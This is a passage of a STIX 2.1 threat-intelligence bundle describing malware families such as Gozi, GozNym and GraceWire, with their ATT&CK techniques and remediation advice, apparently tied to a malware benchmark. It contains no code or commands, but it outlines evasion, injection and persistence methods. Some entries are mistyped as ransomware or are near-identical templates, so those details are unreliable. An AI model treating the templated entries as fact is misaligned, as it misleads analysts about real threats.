      "description": "Trojan:Win32/Gottle is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Gottle</b><br>To an end-user, a Gottle infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Gottle is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Gottle is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Gottle frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Gottle reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 3)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Gottle",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/gottle"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--77b69d8a-a542-5280-ab15-66068667b3c2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--977ffb68-7977-5dbb-8c6d-8c97b9b2d1a8",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Gottle exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--baf39fc1-faf5-58d0-973c-bae090ea2921",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--977ffb68-7977-5dbb-8c6d-8c97b9b2d1a8",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Gottle exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--01a9d8d9-0883-5158-acaf-6edd9b8e60ff",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--977ffb68-7977-5dbb-8c6d-8c97b9b2d1a8",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Gottle exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3448d8ac-4204-520f-baf2-2a47878ce2c4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--977ffb68-7977-5dbb-8c6d-8c97b9b2d1a8",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Gottle exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--80003173-a253-56b3-8362-356a27bbbc38",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--977ffb68-7977-5dbb-8c6d-8c97b9b2d1a8",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Gottle exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--1bbc597c-3285-5156-ad14-67aa1fdf1387",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Gozi",
      "description": "Trojan:Win32/Gozi (also universally tracked as ISFB and the Ursnif family tree) is one of the most historically significant, resilient banking trojans in computer history. First authored around 2007 by Russian national Nikita Kuzmin, Gozi was specifically designed to intercept online banking credentials, digital certificates, and wire transfer credentials from commercial banks. In 2010, Kuzmin was arrested in the United States and subsequently pleaded guilty in the Southern District of New York (SDNY), while co-conspirators Deniss Calovskis ('Miami') of Latvia and Mihail Sevrovs of Romania were arrested and extradited. Following Kuzmin's arrest, the complete Gozi source code leaked online around 2010, leading to a prolific ecosystem of independent criminal forks including ISFB v2/v3, Dreambot, IcedID, and GozNym. Gozi employs advanced API hooking in explorer.exe and browser processes (Internet Explorer, Firefox, Chrome), utilizing Tor-based or encrypted TLS C2 infrastructure with dynamic domain generation algorithms (DGA) to exfiltrate keystrokes, clipboard contents, and intercepted banking session cookies. (Observed samples in benchmark: 113)",
      "is_family": true,
      "malware_types": [
        "trojan",
        "banking-trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Gozi",
        "ISFB",
        "Ursnif",
        "Trojan.Gozi",
        "Win32/Gozi",
        "Gozi-ISFB"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Gozi",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/gozi"
        }
      ],
      "labels": [
        "banking_trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--bfe57bad-03db-58b1-8937-8c6511360b6d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1bbc597c-3285-5156-ad14-67aa1fdf1387",
      "target_ref": "attack-pattern--6fa87c46-0565-5b5a-889d-44254001e763",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Gozi exhibits technique T1185 (Browser Session Hijacking)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e5847805-1a81-5dcb-b7d7-4c799b0c09b7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1bbc597c-3285-5156-ad14-67aa1fdf1387",
      "target_ref": "attack-pattern--0a1fb694-bbfe-5e7d-89e1-1f78720af865",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Gozi exhibits technique T1055.001 (Dynamic-link Library Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--85909959-cc92-5e07-a8a7-4572b30b37bc",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1bbc597c-3285-5156-ad14-67aa1fdf1387",
      "target_ref": "attack-pattern--87ff6f4d-2443-560e-9936-9f380887aee1",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Gozi exhibits technique T1555.003 (Credentials from Web Browsers)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ed796ee7-144e-55bd-a2f6-d9a2dc5f8c44",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1bbc597c-3285-5156-ad14-67aa1fdf1387",
      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Gozi exhibits technique T1071.001 (Web Protocols)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9a8bfea1-3437-55bb-9464-ea47f8be2dfe",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1bbc597c-3285-5156-ad14-67aa1fdf1387",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Gozi exhibits technique T1566.001 (Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--658f8056-a8ea-5048-8476-67d810b89864",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1bbc597c-3285-5156-ad14-67aa1fdf1387",
      "target_ref": "attack-pattern--5f54d0f8-5d15-5341-b1b0-5a7cbe6761ce",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Gozi exhibits technique T1056.001 (Keylogging)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--5ae953be-56ea-565d-92da-344321d9c2a8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Goznym",
      "description": "Trojan:Win32/Goznym is a devastating hybrid banking trojan created in early 2016 through the engineering merger of two notorious malware codebases: the Nymaim stealth dropper and the Gozi (ISFB) banking trojan core. Goznym combined Nymaim's sophisticated two-stage anti-analysis loader with Gozi's Man-in-the-Browser (MitB) webinject capabilities to steal online banking credentials from corporate bank accounts across the United States, Canada, Germany, the United Kingdom, Poland, and Bulgaria. The syndicate successfully siphoned over $100 million from small businesses, municipal governments, and financial institutions by redirecting victims' online banking sessions to fraudulent replica portals. Goznym operators leveraged the bulletproof hosting infrastructure of the Avalanche criminal network. In May 2019, the United States Department of Justice, in coordination with Europol, Eurojust, and law enforcement agencies across Georgia, Ukraine, Moldova, Bulgaria, and Germany, unsealed landmark criminal indictments in the Western District of Pennsylvania against ten members of the Goznym criminal organization, leading to the arrest and prosecution of key figures including leader Alexander Konovolov. (Observed samples in benchmark: 120)",
      "is_family": true,
      "malware_types": [
        "trojan",
        "banking-trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "GozNym",
        "Win32/Goznym",
        "Trojan-Banker.GozNym",
        "GozNym Hybrid"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Goznym",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/goznym"
        }
      ],
      "labels": [
        "banking_trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--509484c8-045e-5ffb-af32-217838885980",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5ae953be-56ea-565d-92da-344321d9c2a8",
      "target_ref": "attack-pattern--6fa87c46-0565-5b5a-889d-44254001e763",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Goznym exhibits technique T1185 (Browser Session Hijacking)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1ad4ad24-1920-542f-9c55-153f4396b716",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5ae953be-56ea-565d-92da-344321d9c2a8",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Goznym exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--41bc0ce4-a1c2-592e-979d-026c6acac34f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5ae953be-56ea-565d-92da-344321d9c2a8",
      "target_ref": "attack-pattern--87ff6f4d-2443-560e-9936-9f380887aee1",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Goznym exhibits technique T1555.003 (Credentials from Web Browsers)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f91a36eb-5e7e-52e5-9f23-53b68cfae25d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5ae953be-56ea-565d-92da-344321d9c2a8",
      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Goznym exhibits technique T1071.001 (Web Protocols)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--40aae492-320b-5ccd-ba10-bf1bdf0229b3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5ae953be-56ea-565d-92da-344321d9c2a8",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Goznym exhibits technique T1566.001 (Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--389ac4ab-945e-5078-a20c-026b688ffe84",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5ae953be-56ea-565d-92da-344321d9c2a8",
      "target_ref": "attack-pattern--5f54d0f8-5d15-5341-b1b0-5a7cbe6761ce",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Goznym exhibits technique T1056.001 (Keylogging)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--b5fc617e-6f29-5ba0-9763-9a7539fae948",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Gplyra",
      "description": "<h3>Executive Summary</h3>\nGplyra is a malicious Trojan designed to covertly infiltrate Windows systems, establish persistence, and act as a reliable downloader for remote threat actors. It is frequently utilized in the initial stages of a cyberattack to gather system intelligence and facilitate the automated deployment of secondary, highly destructive malware payloads, such as enterprise ransomware or banking trojans.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nGplyra is predominantly distributed through socially engineered spam campaigns containing malicious attachments (often weaponized PDFs or Office documents utilizing macro exploits) or via compromised software installers downloaded from untrustworthy web portals.\n\nUpon successful execution, Gplyra operates with a focus on stealth and payload delivery:\n<ul>\n<li><strong>System Reconnaissance:</strong> The trojan immediately collects detailed system information, including the OS version, installed software, Active Directory domain membership, and active antivirus solutions. This fingerprint is transmitted to a command-and-control (C2) server.</li>\n<li><strong>Persistence:</strong> Gplyra ensures it survives system reboots by modifying the Windows Registry (e.g., adding entries to the `Run` or `RunOnce` keys) or by creating hidden Scheduled Tasks that execute the malware payload under high privileges.</li>\n<li><strong>Payload Delivery:</strong> Acting as a downloader, Gplyra receives instructions from the C2 server to silently download and execute secondary malware. This provides the attacker with a flexible platform to escalate the attack based on the value of the compromised host.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Gplyra infection represents a significant breach of the endpoint perimeter. Because it provides remote attackers with the ability to execute arbitrary code, a single compromised machine can rapidly be utilized to pivot laterally and compromise the entire corporate network.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Endpoint Detection and Response (EDR):</strong> Configure EDR solutions to monitor for anomalous registry modifications and unauthorized outbound network connections to unknown IP addresses.</li>\n<li><strong>Network Isolation and Sweeps:</strong> Immediately isolate the infected endpoint from the LAN. Conduct a thorough forensic sweep to identify not only the Gplyra executable but also any secondary payloads it may have successfully deployed.</li>\n<li><strong>Credential Reset:</strong> Because Gplyra frequently facilitates the deployment of info-stealers, all user credentials associated with the compromised endpoint must be treated as compromised and immediately reset.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Gplyra",
        "Downloader.Gplyra",
        "Win32/Gplyra"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Gplyra",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/gplyra"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--81e2aa0c-6671-54a4-849a-22522e581596",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b5fc617e-6f29-5ba0-9763-9a7539fae948",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Gplyra exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d55b63f1-500d-5062-b68d-553fe741bff0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b5fc617e-6f29-5ba0-9763-9a7539fae948",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Gplyra exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--94ac047f-c3d1-584c-a880-11926023001f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b5fc617e-6f29-5ba0-9763-9a7539fae948",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Gplyra exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--66300a61-3894-5e0b-a811-edb1201331a8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Gpukj",
      "description": "<h3>Executive Summary</h3>\nGpukj is a malicious Trojan designed to covertly infiltrate Windows systems, establish persistence, and act as a reliable downloader for remote threat actors. It is frequently utilized in the initial stages of a cyberattack to gather system intelligence and facilitate the automated deployment of secondary, highly destructive malware payloads, such as enterprise ransomware or banking trojans.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nGpukj is predominantly distributed through socially engineered spam campaigns containing malicious attachments (often weaponized PDFs or Office documents utilizing macro exploits) or via compromised software installers downloaded from untrustworthy web portals.\n\nUpon successful execution, Gpukj operates with a focus on stealth and payload delivery:\n<ul>\n<li><strong>System Reconnaissance:</strong> The trojan immediately collects detailed system information, including the OS version, installed software, Active Directory domain membership, and active antivirus solutions. This fingerprint is transmitted to a command-and-control (C2) server.</li>\n<li><strong>Persistence:</strong> Gpukj ensures it survives system reboots by modifying the Windows Registry (e.g., adding entries to the `Run` or `RunOnce` keys) or by creating hidden Scheduled Tasks that execute the malware payload under high privileges.</li>\n<li><strong>Payload Delivery:</strong> Acting as a downloader, Gpukj receives instructions from the C2 server to silently download and execute secondary malware. This provides the attacker with a flexible platform to escalate the attack based on the value of the compromised host.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Gpukj infection represents a significant breach of the endpoint perimeter. Because it provides remote attackers with the ability to execute arbitrary code, a single compromised machine can rapidly be utilized to pivot laterally and compromise the entire corporate network.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Endpoint Detection and Response (EDR):</strong> Configure EDR solutions to monitor for anomalous registry modifications and unauthorized outbound network connections to unknown IP addresses.</li>\n<li><strong>Network Isolation and Sweeps:</strong> Immediately isolate the infected endpoint from the LAN. Conduct a thorough forensic sweep to identify not only the Gpukj executable but also any secondary payloads it may have successfully deployed.</li>\n<li><strong>Credential Reset:</strong> Because Gpukj frequently facilitates the deployment of info-stealers, all user credentials associated with the compromised endpoint must be treated as compromised and immediately reset.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Gpukj",
        "Downloader.Gpukj",
        "Win32/Gpukj"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Gpukj",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/gpukj"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6fc6e95e-98ef-5fbb-abf8-3fc1a578f72f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--66300a61-3894-5e0b-a811-edb1201331a8",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Gpukj exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c048c394-f929-5894-b3b9-59c419f30f4a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--66300a61-3894-5e0b-a811-edb1201331a8",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Gpukj exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--28eddd95-c5f9-5785-99f6-644bb12b8314",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--66300a61-3894-5e0b-a811-edb1201331a8",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Gpukj exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--099a3ab4-1aa0-5c3a-8dac-6eb0ebeb3c29",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Gracewire",
      "description": "<h3>Executive Summary</h3>\nGraceWire is a highly sophisticated, memory-resident Trojan primarily associated with the financially motivated threat group TA505 (the actors behind the Dridex banking trojan and Locky ransomware). GraceWire functions as a persistent backdoor and advanced information stealer, frequently deployed as a secondary payload following an initial compromise via FlawedAmmyy or legitimate remote administration tools abused by the attackers.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nGraceWire is rarely the initial infection vector. It is typically downloaded and executed by a primary loader (like a malicious macro in a spear-phishing document) after TA505 has established a foothold. \n\nOnce executed, GraceWire exhibits advanced, stealthy capabilities:\n<ul>\n<li><strong>Fileless Execution (RunPE):</strong> GraceWire is highly evasive. The loader injects the GraceWire payload directly into the memory space of a legitimate, running Windows process (Process Hollowing / RunPE), ensuring the actual malicious binary never touches the hard drive in an unencrypted state.</li>\n<li><strong>Advanced Data Harvesting:</strong> It possesses extensive capabilities to steal credentials from web browsers, email clients, and FTP software. It also includes keylogging functionality and the ability to capture screenshots of the active desktop.</li>\n<li><strong>Network Proxying and C2:</strong> GraceWire can establish an encrypted tunnel to its Command and Control (C2) server, acting as a proxy. This allows attackers to route their malicious traffic *through* the infected endpoint, masking their true location and bypassing perimeter firewall restrictions.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA GraceWire detection is a critical security incident indicating a deep compromise by a Tier-1 cybercriminal organization (TA505). Its presence means the attackers have achieved stable, persistent access and are actively harvesting credentials. If left unmitigated, GraceWire infections frequently precede the deployment of enterprise-wide ransomware (such as Clop).\n\n<h3>Incident Response and Remediation</h3>\n<ul>\n<li><strong>Behavioral Analysis (EDR):</strong> Because GraceWire operates primarily in memory, static antivirus is often ineffective. Eradication requires EDR solutions capable of detecting process injection and anomalous network proxying behavior.</li>\n<li><strong>Immediate Isolation and Triage:</strong> Isolate the endpoint immediately to cut the C2 connection and halt data exfiltration. Assume the network is actively being targeted for ransomware deployment.</li>\n<li><strong>Total Infrastructure Rebuild:</strong> Due to the sophistication of TA505 and the likelihood of compromised administrative credentials and lateral movement, attempting to \"clean\" the system is insufficient. A complete bare-metal wipe and re-image from a trusted baseline is mandatory, alongside a global password reset.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.GraceWire",
        "Backdoor.GraceWire",
        "Win32/GraceWire",
        "TA505.Payload"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Gracewire",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/gracewire"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a19e694c-45df-598f-9ee3-43ed9b2da936",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--099a3ab4-1aa0-5c3a-8dac-6eb0ebeb3c29",
      "target_ref": "attack-pattern--691c027d-f463-5203-86d8-b530600c6c62",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Gracewire exhibits technique T1055.012 (Process Injection: Process Hollowing (RunPE))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ce0951ad-f21d-5b9c-a0f6-212f2215843f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--099a3ab4-1aa0-5c3a-8dac-6eb0ebeb3c29",
      "target_ref": "attack-pattern--5f54d0f8-5d15-5341-b1b0-5a7cbe6761ce",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Gracewire exhibits technique T1056.001 (Keylogging)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5cc03807-ea64-5d21-839f-59ad66518267",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--099a3ab4-1aa0-5c3a-8dac-6eb0ebeb3c29",
      "target_ref": "attack-pattern--cc76a884-1600-50d8-bfac-e3713d774a0d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Gracewire exhibits technique T1090 (Proxy)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--cefcb61b-fbf9-5663-b8f4-ffbf8d175cf7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--099a3ab4-1aa0-5c3a-8dac-6eb0ebeb3c29",
      "target_ref": "attack-pattern--87ff6f4d-2443-560e-9936-9f380887aee1",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Gracewire exhibits technique T1555.003 (Credentials from Web Browsers)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--62ab7d28-356a-57ce-a586-552582ad02e6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Grandcrab",
